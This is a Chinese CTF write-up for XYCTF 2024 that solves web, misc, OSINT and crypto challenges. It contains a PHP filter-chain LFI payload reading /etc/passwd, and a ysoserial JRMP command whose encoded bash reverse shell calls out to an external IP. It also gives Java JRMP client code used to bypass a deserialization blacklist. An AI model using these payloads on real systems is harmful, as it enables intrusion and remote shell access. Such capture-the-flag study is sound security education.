iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

image.png

题目溯源: 1.hxp 2021 counter 2.2023极客大挑战 ezlfi

baby_unserialize

考点:Java反序列化+Jrmp绕过黑名单

发现反序列化的点 image.png URLDNS链验证 image.png

说明入口类 source Hashmap可用 该处存在Java反序化漏洞点,而且出网

welcome to this fantastic tool  
Try this one  
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l  (you deserialize me down, I shall become more powerful than you can possibly imagine)
{http://irrfzuahtu.dgrh3.cnhttp://irrfzuahtu.dgrh3.cn}  
Fin!

直接打CC链,发现对payload base64解码后对关键词做了关键字过滤

TempleteImport 类被禁 考虑绕过Sink执行

Error occurred: Class name not accepted: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

黑盒审计:猜测环境中是更为 ==通用性== 的 CC3.2版本 简单试了一下其他1,3,5,7,11,CCK1没有成功 这里可以逐一对恶意类的过滤探索 ==可以像拼图一样 将Source,Gadget,Sink进行连接== 在本地可以搭建环境用CodeQL辅助分析,但是是黑盒测试我们无法判断它具体是什么逻辑,可能花费的时间会特别多,这也不像新生赛会考的 所以我们换个思路: 这里直接用Jrmp绕过黑名单限制 开个Jrmp恶意服务器 做==中间代理==进行跳板绕过(类似二次反序列化) 用CC3 做恶意荷载

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections3 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

image.png

本意是想直接用 ysoserial 进行 Client的配置 但是对yso生成的Client做了 关键词过滤 所以直接写个Jrmp client端生成:

import sun.rmi.server.UnicastRef;  
import sun.rmi.transport.LiveRef;  
import sun.rmi.transport.tcp.TCPEndpoint;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.rmi.server.ObjID;  
import java.rmi.server.RemoteObjectInvocationHandler;  
import java.util.Base64;  

public class Jrmp {  
    public static void main(String[] args) throws Exception {  
        ObjID id = new ObjID();  
        TCPEndpoint te = new TCPEndpoint("23.94.38.86", 12345); 
        LiveRef liveRef = new LiveRef(id, te, false); 
        UnicastRef ref = new UnicastRef(liveRef); 
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);   
  
        ByteArrayOutputStream barr = new ByteArrayOutputStream(); 
        ObjectOutputStream oos = new ObjectOutputStream(barr); 
        oos.writeObject(obj); 
        oos.close(); 
		//Jrmp client to try try
        byte[] byteArray = barr.toByteArray(); 
  
        String res = Base64.getEncoder().encodeToString(byteArray); 
        System.out.println(res);
        new ObjectInputStream(new ByteArrayInputStream(byteArray)).readObject();  
    }  
}

image.png 反弹shell后在环境变量中拿到flag image.png 侥幸拿了一血

Misc

Rock,Paper,Scissors

考点:编写脚本能力

做的时候题目没有源码(环境有问题没法下载),直接Fuzzing出规律10分钟秒了 认为这道题改自 2023 强网杯 石头剪刀布 当时题目有两种解决方案 一种遵循一定的数学规律 image.png

一种写个利用POC(没有源码优先Fuzz) 将抽象的问题具体化进行数学分析假ai的结果

为具体答案编号
Rock       Paper       Scissors
0          1           2

简单手测了一下发现假ai的出拳规律

How to win Game 
01122
20011
22001
2? 依次类推可以用脚本实现后续的步骤
22001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122

利用pwntools编写半自动化脚本 发现存在特别明显的数学规律直接一把梭了

from pwn import *

import time


host = '127.0.0.1'

port = 51531


conn = remote(host, port)


moves = [b'Rock', b'Paper', b'Scissors']


sequence = '011222001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122001122'

for move in sequence:

    move_int = int(move)

    print(moves[move_int])

    conn.sendline(moves[move_int])

    time.sleep(1)
    #考虑网络延迟问题
    response = conn.recv()

    print(response) 

try:

    while True:

        user_input = input("Your move (Rock=0, Paper=1, Scissors=2): ")

        if user_input.isdigit() and int(user_input) in [0, 1, 2]:

            conn.sendline(moves[int(user_input)])

            response = conn.recv()

            print(response)

except EOFError as e:

    # 连接关闭或其他EOF异常

    print("Connection closed.")

    conn.close()

3(5D_YAI4J@KH7WACE3THR1.jpg

侥幸拿了一血

美妙的歌声

考点:wav隐写

考点: wav直接拖到Audition中 image.png 拿密钥:XYCTF_1s_w3ll deepsound解密得flag

image.png

拿flag.txt: XYCTF{T0uch_y0ur_he3rt_d55ply!!}

Osint1

Osint2

image.png 社工题,有用的信息标注了出来

出题人说是玩完准备回去,景点锁定在洛阳

先找车次,去车次查询查了一下,发现列车就一辆,还是固定的 image.png 时间也符合我们要求

所以flag就差最后一段,再去网上找了找洛阳的景区,尝试了一下,最终flag为:xyctf{G3293|河南省|老君山}

ez_osint

搜索关键字 时光邮局 image.png

按时间顺序翻翻即可 https://www.hi2future.com/Mail/showitem/id/494468?from=showlist2

彩蛋

考点:PNG隐写+文本隐写

考点:文本隐写+PNG隐写+德沃夏克键盘密码 image.png

130131103124106173164150151163137141137 八进制转字符得到 XYCTF{this_a_ 11001101101001110111011001001011111110100111101001111101 二进制7个一组转字符串得到find_it} image.png

poster.png

下载图片,poster拖进010

image.png 发现是webp图片,网上搜了搜相关的misc解题,发现有转png再最低为隐写的

在线网站转png,png隐写

image.png

得到一段Dvorak - Two Hands编码,解码得到最后一段flag

What keyboard : xn0jtxgoy.p{urp{lbi{abe{c{ydcbt{frb{jab{

德沃夏克_键盘 两字节为一组

image.png

得到 bl0ckbuster_for_png_and_i_think_yon_can_

Flag:XYCTF{this_a_bl0ckbuster_for_png_and_i_think_yon_can_find_it}

game

考点:以图搜图 game.jpg 社工题 以图搜图 image.png

游戏:Papers, Please

zzl的护理小课堂

考点:简单调试JS代码

image.png

当分数大于100时通过 XMLHttpRequest向flag.php发送GET请求返回flag 直接访问后端多半判断了什么 image.png 直接调试输出即可

var flagXhr = new XMLHttpRequest(); 
flagXhr.open('GET','flag.php',true);
flagXhr.onreadystatechange=function() {
if (flagXhr.readyState === 4 && flagXhr.status === 200) {
		var flag = flagXhr.responseText;
        console.log(flag);
}
};
flagXhr.send(); 

image.png

ez_隐写

考点:ZIP伪加密+PNG-CRC修复+JPG盲水印

打开有密码 image.png ZIP伪加密修复 得到hint.png 打不开 用 Tweakpng看看实力 CRC有问题 image.png 需要修复CRC 直接风二西一把梭 image.png

image.png 密码是20240401 得到一张名为 WATERMARK.jpg (暗示盲水印,咦这不是一个图片吗?) WATERMARK.jpg

放进随波逐流分析一下 image.png 存在图片隐写 image.png

得到flag

EZ_Base1024 * 2

考点:Base2048编码

题目暗示:base2048 מಥൎࢺଳɫअΥٻଯԢڥիɺ୦ࢸЭਘמۊիɎඥࡆڣߣಷܤҾয౽5 网上找Base2048解码 Encode and Decode Base2048 image.png

熊博士

放入随波逐流 image.png

真>签到

将压缩包拖入010 image.png

出题有点烦

考点:ZIP弱加密+PNG隐写 简单破解压缩包密码 123456 第5张图片存在文件 binwalk提取得到有密码压缩包 image.png 有文件xy@ct$f 原本以为密码是这个,可惜不是,于是就尝试去掉@和$ 由文件名猜测密码为xyctf 解压后010打开得到flag image.png

网络迷踪

名为JFTQ的黑客使用某种不为人知的手段渗透进了一个不太安全的系统里 聪明的ctfer 你知道他是怎么做到的吗 确定题目方向:tcp流 image.png 搜索关键字 flag image.png 跟踪tcp流 可以判断==被攻击主机==是192.168.204.133 image.png 可能会用上 S7ZQI6CJaRU

hK3Z1J2NvNa3fNJxaP43bTEfbb7zafODbacFaP43bte0wtPmDvvmOK3Z1J2Nv
huNqqtdmuOL1Zb91ZbM-TPapVQCO7eyODXyK5iiSOVCaRhiOQiiKwUCOIjiSO
hVCSffyKDcmXbZ95Zd8TZW91Zg6zaXd9ZW7QUt9WhuNSottGcLyWzayWVXCWz
hbiOCdGZTu6urtMyKuNqqtdmuQqVZP4nYjPzbZ8XbacHaj6zah7vbacF1JYLb
hj7PZXvRx0iGyWyywaZVNEpF4Sn2iAGsl9X3TC1UsLnUsLnVTEpN39H6kA1Yh
3An2kAro+

image.png 大致判断是XXencode解码

XYCTF{fake_flag}
真正的flag格式:XYCTF{靶机ip地址_nmap扫描出的靶机开放的端口(由大到小排列 中间用_进行连接)_获取靶机shell使用的漏洞的CVE编号}
例:XYCTF{1.1.1.1_888_88_8_CVE-2009-3103}

得到hint 过滤IPip.addr==192.168.204.133 判断端口 image.png 可以判断135,445,139是一定开放的(建立了通信) image.png

怀疑和SMB以及 IPC有关 的windows漏洞有关 直接搜索关键字 定位到# Microsoft Windows Server - Code Execution (MS08-067)

image.png ms08_067漏洞是经典SMB协议漏洞之一 image.png XYCTF{192.168.204.133_445_139_135_CVE-2008-4250}

ZIP神加密

考点:猜测密码+ZIP明文爆破

在cmd中直接运行附件中这玩意咋打不开呢.exe

分析半天exe,结果脑洞,中间为开赛日期,得到xyctf20240401ftcyx

解压压缩包,套/flag中内容如下:

image-20240423184838796

flag.zip中内容如下

image-20240423184924599

二者文件内容文件名都一样,直接明文攻击,使用工具为ARCHPR

image-20240423185623480

image-20240423185642241

flag.md中搜索得到flag XYCTF{1A4B8-C9D2F3E-6A4B8C-9D2F3E7F}

tcpl

下载下来是无后缀的文件,010看是elf文件,拖去kali上运行一直报错,然后继续从010找线索

image.png 看到了linux-riscv64,发现也是一种编译环境 网上搜了一下如何配置# 基于WSL的RISC-V的GCC交叉工具链搭建 报错靠GPT,最后搭起来环境然后运行文件 image.png 把1换成0就是flag了

我的二维码为啥扫不出来?

下载附件得到破坏后的二维码及其脚本

image-20240425133843518

分析完脚本之后发现是七次随机对某一行或者某一列的黑白色进行反转

while count < 7:  
    x = random.randint(0, 1)  
    if x == 0:  
        reverse_col_colors(pixels, random.randint(0, height // 10 - 1), height)  
    else:  
        reverse_row_colors(pixels, random.randint(0, width // 10 - 1), width)  
    count += 1

虽然但是,强行爆破是完全不行的(粗略计算爆破的话有十几亿的结果)

所以我们开始手动还原。

观察上面二维码,我们先把QRCODE的四个角先补好

reverse_col_colors(pixels, 0, height)  
reverse_row_colors(pixels, 1, width)  
reverse_col_colors(pixels, 2, height)  
reverse_col_colors(pixels, 5, height)

然后我们得到以下的这个图片

image-20240425155707149

但是还不能正常扫描,这里需要我们有一点关于qrcode的知识

image-20240425155926385

在正常的二维码中,我画出的这一列和这一行是一黑一白交替的像素,而我们上述图明显不是如此,所以我们要按照一黑一白的原理来进行修复,操作如下

reverse_row_colors(pixels, 12, height)  
reverse_col_colors(pixels, 10, height)  
reverse_col_colors(pixels, 11, height)

然后就能得到我们最终的QRCODE

image-20240425160053663

image-20240425160204568

失败的人生

下载附件,发现是一堆无后缀的文件,用010打开

image-20240425132538012

有torch的线索,判断为AI题

然后我们看一下这些文件的结构

import pickle  
with open("0","rb") as f:  
    data = pickle.load(f)  
    for i in range(len(data)):  
        print(data[i].shape)

image-20240425133015684发现与前段时间的NKCTF中一题差不多一模一样,那道题考的是Deep Leakage from Gradients,而这道题的附件名为DLG(本道题有两个附件,DLG这个附件是beta测试结束时作为正式版附件发出来的,但是出现了点问题,于是后面换回了测试附件来作为正式附件)

image-20240425133309021

于是种种线索联系在一起,我这里直接拿了NK那道题的官方wp内的脚本进行使用

import torch
from PIL import Image
import torchvision.transforms as transforms
import torch.nn as nn
import torch.nn.functional as F
import pickle

class LeNet(nn.Module):
    def __init__(self):
        super(LeNet, self).__init__()
        act = nn.Sigmoid
        self.body = nn.Sequential(
            nn.Conv2d(3, 32, kernel_size=5, padding=5 // 2, stride=2),
            act(),
            nn.Conv2d(32, 32, kernel_size=5, padding=5 // 2, stride=2),
            act(),
            nn.Conv2d(32, 64, kernel_size=5, padding=5 // 2, stride=1),
            act(),
        )
        self.fc = nn.Sequential(
            nn.Linear(4096, 36)
        )

    def forward(self, x):
        x = self.body(x)
        x = x.flatten(0).unsqueeze(0)
        x = self.fc(x)
        return x


def label_to_onehot(target):
    target = torch.unsqueeze(target, 1)
    onehot_target = torch.zeros(target.size(0), 36, device=target.device)
    onehot_target.scatter_(1, target, 1)
    return onehot_target


def cross_entropy_for_onehot(pred, target):
    return torch.mean(torch.sum(- target * F.log_softmax(pred, dim=
    1), 1))


def weights_init(m):
    if hasattr(m, "weight"):
        m.weight.data.uniform_(-0.5, 0.5)
    if hasattr(m, "bias"):
        m.bias.data.uniform_(-0.5, 0.5)


for i in range(36):
    with open(f'{i}', 'rb') as f:
        original_dy_dx = pickle.load(f)
        device = "cpu"
    torch.manual_seed(227)
    model = LeNet()
    model.to(device)
    model.apply(weights_init)

    tt = transforms.ToTensor()
    tp = transforms.ToPILImage()
    gt_data = tt(Image.open('image.png')).float().to(device)
    gt_data = gt_data.view(1, *gt_data.size())
    gt_label = torch.Tensor([1]).long().to(device)
    gt_label = gt_label.view(1, )
    gt_onehot_label = label_to_onehot(gt_label)
    dummy_data = torch.randn(gt_data.size()).to(device).requires_grad_(True)
    dummy_label = torch.randn(gt_onehot_label.size()).to(device).requires_grad_(True)
    criterion = cross_entropy_for_onehot
    optimizer = torch.optim.LBFGS([dummy_data, dummy_label])

    history = []
    for iters in range(100):
        def closure():
            optimizer.zero_grad()
            dummy_pred = model(dummy_data)
            dummy_onehot_label = F.softmax(dummy_label, dim=-1)
            dummy_loss = criterion(dummy_pred, dummy_onehot_label)
            dummy_dy_dx = torch.autograd.grad(dummy_loss, model.parameters(), create_graph = True)

            grad_diff = 0
            for gx, gy in zip(dummy_dy_dx, original_dy_dx):
                grad_diff += ((gx - gy) ** 2).sum()
            grad_diff.backward()

            return grad_diff


        optimizer.step(closure)
        if iters % 10 == 0:
            current_loss = closure()
            print(iters, "%.4f" % current_loss.item())
            history.append(tp(dummy_data[0].cpu()))

    history[-1].save(f'save1/{i}.jpg')

唯一不同的是这里修改了一下,值是根据题目描述中的提示得到的

torch.manual_seed(227)

image-20240425133558381

然后跑一下脚本就行了

image-20240425133615785

虽然很多没有收敛,但是仍能看出规律(看看键盘就得出规律了)

0123456789qwertyuiopasdfghjklzxcvbnm

疯狂大杂烩!九转功成

第一层

hint1.txt

这是什么东西?

曰:玉魔命灵天观罗炁观神冥西道地真象茫华茫空吉清荡罗命色玉凶北莽人鬼乐量西北灵色净魂地魂莽玉凶阿人梵莽西量魄周界

天书解码,得到First_layer_simple

得到一张png,但是感觉图片好像显示不全,拿去png高宽爆破一下 image.png 得到flag1:`XYCTF{T3e_c0mb1nation_

第二层

hint2.txt

xihak-minoh-zusok-humak-zurok-gulyk-somul-nenel-dalek-nusyh-zumek-sysuk-zelil-fepak-tysok-senax

一眼BubbleBabble解密,拿去解密得到The_second_layer_is_also_simple

又是一张png,按照png隐写一个一个尝试,发现是LSB最低为隐写 image.png 有一串base64,解码得到 image.png flag2:0f_crypt0_and_

第三层

hint3.jpg image.png 出题人提醒了看看交点

这里想法是根据交点转化成摩斯密码 image.png 得到第三层密码the_third image.png 7z看到压缩包还有东西,010打开发现有一串编码 image.png 得到密码123456

解压文件看到flag.txt内容

MZWGCZZT566JU3LJONRV6MLTL5ZGKNTMNR4V6ZTVNYQSC===

image.png flag3:misc_1s_re6lly_fun!!

第四层

hint4.txt

都2024年了不会还有人解不出U2FsdGVkX1+y2rlJZlJCMnvyDwHwzkgHvNsG2TF6sFlBlxBs0w4EmyXdDe6s7viL吧

base64解码能开见开头是salted__

搜了下文章找到相似的题目ISCC2018-0x03 重重谍影

尝试对称加密,无密钥没成功,看了看上面那句话,猜测密钥是2024

最后在TripleDes得到密码The_fourth_floor_is_okay

打开压缩包,里面有一个 hint.txt

wqk:1m813onn17o040358p772q37rm137qpnqppqpn38nr704m56n2m9q22po7r05r77

还有一个MSG0.db

这里搜了一下MSG0.db,发现是vx的聊天记录数据库,是有加密的,想要破解加密需要wechatkey

所以这里的hint.txt一定是跟key有关,这里脑洞了一下会不会是凯撒,丢进随波逐流 看到了12次位移后,得到

key:1a813cbb17c040358d772e37fa137edbeddedb38bf704a56b2a9e22dc7f05f77

然后网上搜罗了解密脚本,找到文章https://saucer-man.com/information_security/1038.html

脚本复制下来解密 image.png 成功解密,拿去navicat查看就能看见了 image.png flag4:L1u_and_K1cky_Mu

第五层

hint5.txt

enc = 'key{liu*****'  
md5 = '87145027d8664fca1413e6a24ae2fbe7'

写个脚本爆破一下

import hashlib    
    
md5_hash = '87145027d8664fca1413e6a24ae2fbe7'    
prefix = 'key{liu'    
suffix = '}'    
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'    
    
def md5_crack(md5_hash, prefix, suffix, chars, length):    
    import itertools    
    for guess in itertools.product(chars, repeat=length):    
        guess_str = prefix + ''.join(guess) + suffix    
        if hashlib.md5(guess_str.encode()).hexdigest() == md5_hash:    
            return guess_str    
    return None    
    
length = 4     
result = md5_crack(md5_hash, prefix, suffix, chars, length)    
if result:    
    print("MD5解密成功,找到字符串:", result)    
else:    
    print("未找到匹配的字符串")

得到key:liuyyds

一个serpent.txt和flag.txt,flag.txt没用

这里网上找了下serpent的相关资料,找到了# BUUCTF:snake

找到文字所说的解密网站,发现有file这个选项,serpent内容过于奇怪,所以尝试直接对文件进行解密,密钥就猜测是之前的liuyyds image.png 得到的解密文件奇怪但是很有规律,dump下来,该后缀为1.txt,但是内容很奇怪,看不出什么

这里选择用word打开txt image.png 因为word有时候会选择文本的编码方式,用word打开有时候有奇效

转换后的文件保存 image.png 一眼丁真零宽,用puzzleSolver一把梭,得到flag5:_3re_so_sm4rt!

第六层

hint6.txt

wszrdc
fgtrfvb
ghytgbn
rfctg
yhju
frtg
uyhbghj
6yhn
uyhjujmn
tgvvghb
yhnmghj
4rfv
derf
iujkikmn

出题人说跟键盘有关,笔划一下得到密码keeponfighting

得到图片和一堆附属文件,虽然有一些flag,但都是假的,只有jpg有用

这里不需要密码的jpg解密尝试无用,密码又得不到,问了下出题人说让我们看看文件名

所以这里写了一个ps.txt的字典,爆破一下(ps.txt由所有文件名的数字随机排序得到) image.png 得到flag6:In_just_a_few_m1nutes_

第七层

hint7.txt

Tig+AF8-viakubq+AF8-vphrz+AF8-xi+AF8-uayzdyrjs

这里+ -看出来这里文本是utf-7编码,用命令行转变成utf-8 image.png 得到

Tig_viakubq_vphrz_xi_uayzdyrjs

key是用https://www.guballa.de/vigenere-solver进行爆破,得到abc开头的密钥 image.png 脑洞了一下会不会是字母表,尝试一下还真是,密钥为abcdefghijklmnopqrstuvwxyz 解出来得到The_seventh_level_is_difficult

image.png 得到图片

这里标注了颜色和对应数字,转一下 得到asc = [164,150,145,171,137,167,145,162,145,137,164,150,162,60,165,147,150,41]

然后网上找到一篇文章https://www.cnblogs.com/WXjzc/p/16526326.html

根据脚本跑出flag7:they_were_thr0ugh!

第八层

解密脚本

n= 22424440693845876425615937206198156323192795003070970628372481545586519202571910046980039629473774728476050491743579624370862986329470409383215065075468386728605063051384392059021805296376762048386684738577913496611584935475550170449080780985441748228151762285167935803792462411864086270975057853459586240221348062704390114311522517740143545536818552136953678289681001385078524272694492488102171313792451138757064749512439313085491407348218882642272660890999334401392575446781843989380319126813905093532399127420355004498205266928383926087604741654126388033455359539622294050073378816939934733818043482668348065680837
c= 1400352566791488780854702404852039753325619504473339742914805493533574607301173055448281490457563376553281260278100479121782031070315232001332230779334468566201536035181472803067591454149095220119515161298278124497692743905005479573688449824603383089039072209462765482969641079166139699160100136497464058040846052349544891194379290091798130028083276644655547583102199460785652743545251337786190066747533476942276409135056971294148569617631848420232571946187374514662386697268226357583074917784091311138900598559834589862248068547368710833454912188762107418000225680256109921244000920682515199518256094121217521229357
leak = 14488395911544314494659792279988617621083872597458677678553917360723653686158125387612368501147137292689124338045780574752580504090309537035378931155582239359121394194060934595413606438219407712650089234943575201545638736710994468670843068909623985863559465903999731253771522724352015712347585155359405585892
e = 65537
import gmpy2
from Crypto.Util.number import *

def pq_high_xor():
   stack = [(0, 0, “”, “”)]  # Initialize stack with starting parameters
   while stack:
       lp, lq, p, q = stack.pop()
       tp0 = int(p + (1024-lp) * “0”, 2)
       tq0 = int(q + (1024-lq) * “0”, 2)
       tp1 = int(p + (1024-lp) * “1”, 2)
       tq1 = int(q + (1024-lq) * “1”, 2)

       if tp0 * tq0 > n or tp1 * tq1 < n:
           continue
       if lp == leak_bits:
           pq.append(tp0)
           continue

       if xor[lp] == “1”:
           stack.append((lp+1, lq+1, p + “0”, q + “1”))
           stack.append((lp+1, lq+1, p + “1”, q + “0”))
       else:
           stack.append((lp+1, lq+1, p + “0”, q + “0”))
           stack.append((lp+1, lq+1, p + “1”, q + “1”))


def pq_low_xor():
   stack = [(0, 0, “”, “”)]  # Initialize stack with starting parameters
   while stack:
       lp, lq, p, q = stack.pop()
       tp = int(p, 2) if p else 0
       tq = int(q, 2) if q else 0

       if tp * tq % 2lp != n % 2lp:
           continue
       if lp == leak_bits:
           pq.append(tp)
           continue

       if xor[-lp-1] == “1”:
           stack.append((lp+1, lq+1, “0” + p, “1” + q))
           stack.append((lp+1, lq+1, “1” + p, “0” + q))
       else:
           stack.append((lp+1, lq+1, “0” + p, “0” + q))
           stack.append((lp+1, lq+1, “1” + p, “1” + q))


leak_bits = 1024
xor = bin(leak)[2:].zfill(1024)
pq = []


pq_high_xor()
print(pq)

p = 153796947048270429510444756458855481287460639468563001213489907625132438953570738468181770925091867439727519074685449940618659583114338501872698220745473531199063071421852521618805765627999106188015431567625318850899895052130157037822960945909520973243793507740817436707504505709194025074527084803054107605547
q = 145805499551351837545170670839798336872366414383311042018386386595288060139791135454980413014693924866953972662266748526407954492877610429602886244372924035960962307198910659475639333945895922717307291255423855616274924584270570126180050363106535962473049107576556315461013755859097114552522187755171423621071
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))

得到密码password{pruning_algorithm}

咦.txt里一堆noyes不知道啥用

然后7z看属性还有hint在压缩包 image.png 得到

5rOi6YCQ5rWB5rSq5rWB5rOi5rOi5rSq5rWB5rOi6ZqP5rSq5rWB6YCQ6ZqP5rWq5rWB5rOi5rOi5rWB5rSq5rWB5rOi5rWB5rSq5rWB6ZqP6YCQ5rSq6YCQ6ZqP6ZqP5rWq5rOi6YCQ5rOi6YCQ5rWq5rOi6YCQ5rWB6ZqP5rWq5rOi6YCQ6ZqP5rOi5rWq5rOi6YCQ5rOi5rWB5rSL5rOi6YCQ6YCQ6ZqP6ZqP5rWB5rWB6ZqP5rSL5rOi5rOi5rWB5rWB6ZqP6ZqP5rWB5rWB5rSL5rOi6ZqP5rWB5rWB6YCQ6ZqP6YCQ5rWB5rSL5rOi5rOi6YCQ5rOi6YCQ6ZqP6ZqP6YCQ5rSL5rWB5rWB5rWB5rWB6ZqP5rOi6YCQ6YCQ5rWq5rOi6ZqP6ZqP5rOi5rWq5rOi6YCQ6ZqP5rOi5rSq5rWB6ZqP5rOi5rWq5rOi6YCQ6ZqP5rOi5rWq5rOi6YCQ6ZqP5rOi5rWq5rOi5rOi5rWB5rWB5rWq5rOi6YCQ6ZqP5rOi5rSq5rWB6ZqP5rOi5rWq5rOi6YCQ6ZqP5rOi5rWq5rOi5rOi5rWB5rWB5rWq5rOi6YCQ6ZqP5rOi5rWq5rOi6YCQ6ZqP5rOi5rWq5rOi6YCQ6ZqP5rOi5rWq5rOi5rOi5rWB5rWB5rWq5rOi6YCQ6ZqP5rOi5rWq5rOi6YCQ6ZqP5rOiCg==

base64解码+随言随语解码,得到

548×72 flag格式例如:Aa1aa_a1a_aaa_aa

前面548x72应该是对文件的处理

这里把no转化成0,yes变成1,看了一下字符数刚好等于548x72

那么就处理打开查看就行了,这里写了个脚本处理

with open('1.txt', 'rb') as file:  
    data = file.read()  
  
with open('2.txt', 'wb') as file2:  
    line_length = 548  
    for i in range(0, 72):  
        start = i * line_length  
        end = (i + 1) * line_length  
        file2.write(data[start:end])  
        file2.write(b'\n')

image.png 然后直接启动!原神沙漠文文字,对照得到flag7:Sm3ar_y0u_can_do(按照flag格式写的)

第九层

解密脚本

from Crypto.Util.number import *  
import gmpy2  
import math  
n = 107803636687595025440095910573280948384697923215825513033516157995095253288310988256293799364485832711216571624134612864784507225218094554935994320702026646158448403364145094359869184307003058983513345331145072159626461394056174457238947423145341933245269070758238088257304595154590196901297344034819899810707  
c = 46049806990305232971805282370284531486321903483742293808967054648259532257631501152897799977808185874856877556594402112019213760718833619399554484154753952558768344177069029855164888168964855258336393700323750075374097545884636097653040887100646089615759824303775925046536172147174890161732423364823557122495  
list = [618066045261118017236724048165995810304806699407382457834629201971935031874166645665428046346008581253113148818423751222038794950891638828062215121477677796219952174556774639587782398862778383552199558783726207179240239699423569318, 837886528803727830369459274997823880355524566513794765789322773791217165398250857696201246137309238047085760918029291423500746473773732826702098327609006678602561582473375349618889789179195207461163372699768855398243724052333950197]  
ab = list[1]-list[0]  
l0 = list[0]  
l1 = list[1]  
  
for i in range(1,2**8):  
    t1=l1*i  
    for j in range(1,2**8):  
        t0 = l0*j  
        if gmpy2.gcd(abs(t1-t0),n) != 1:  
            print(gmpy2.gcd(abs(t1-t0),n))  
            break  
  
e = 65537  
p = 12951283811821084332224320465045864899191924765916891677355364529850728204537369439910942929239876470054661306841056350863576815710640615409980095344446711  
q = n//p  
phi = (p-1)*(q-1)  
d = gmpy2.invert(e,phi)  
print(long_to_bytes(pow(c,d,n)))

得到密码game_over

然后里面的txt里是一句话

压缩包里的图片真的有东西吗?不如看向外面

再往压缩包看是一张jpg,根据上面那句话,再从7z打开看看 image.png 果然图片不是关键,压缩包才是,放进010

拖到最底下没找到zip文件尾,直接搜一下 image.png010的==模板自动识别==是个好东西 ,有报错重新安装一下模板 这里着重圈出来的四个16进制就是关键,搜索一下 image.png 用oursecret解密,密钥还是猜测是前面得到的game_over image.png 提取flag.txt

得到flag9:_nine_turns?}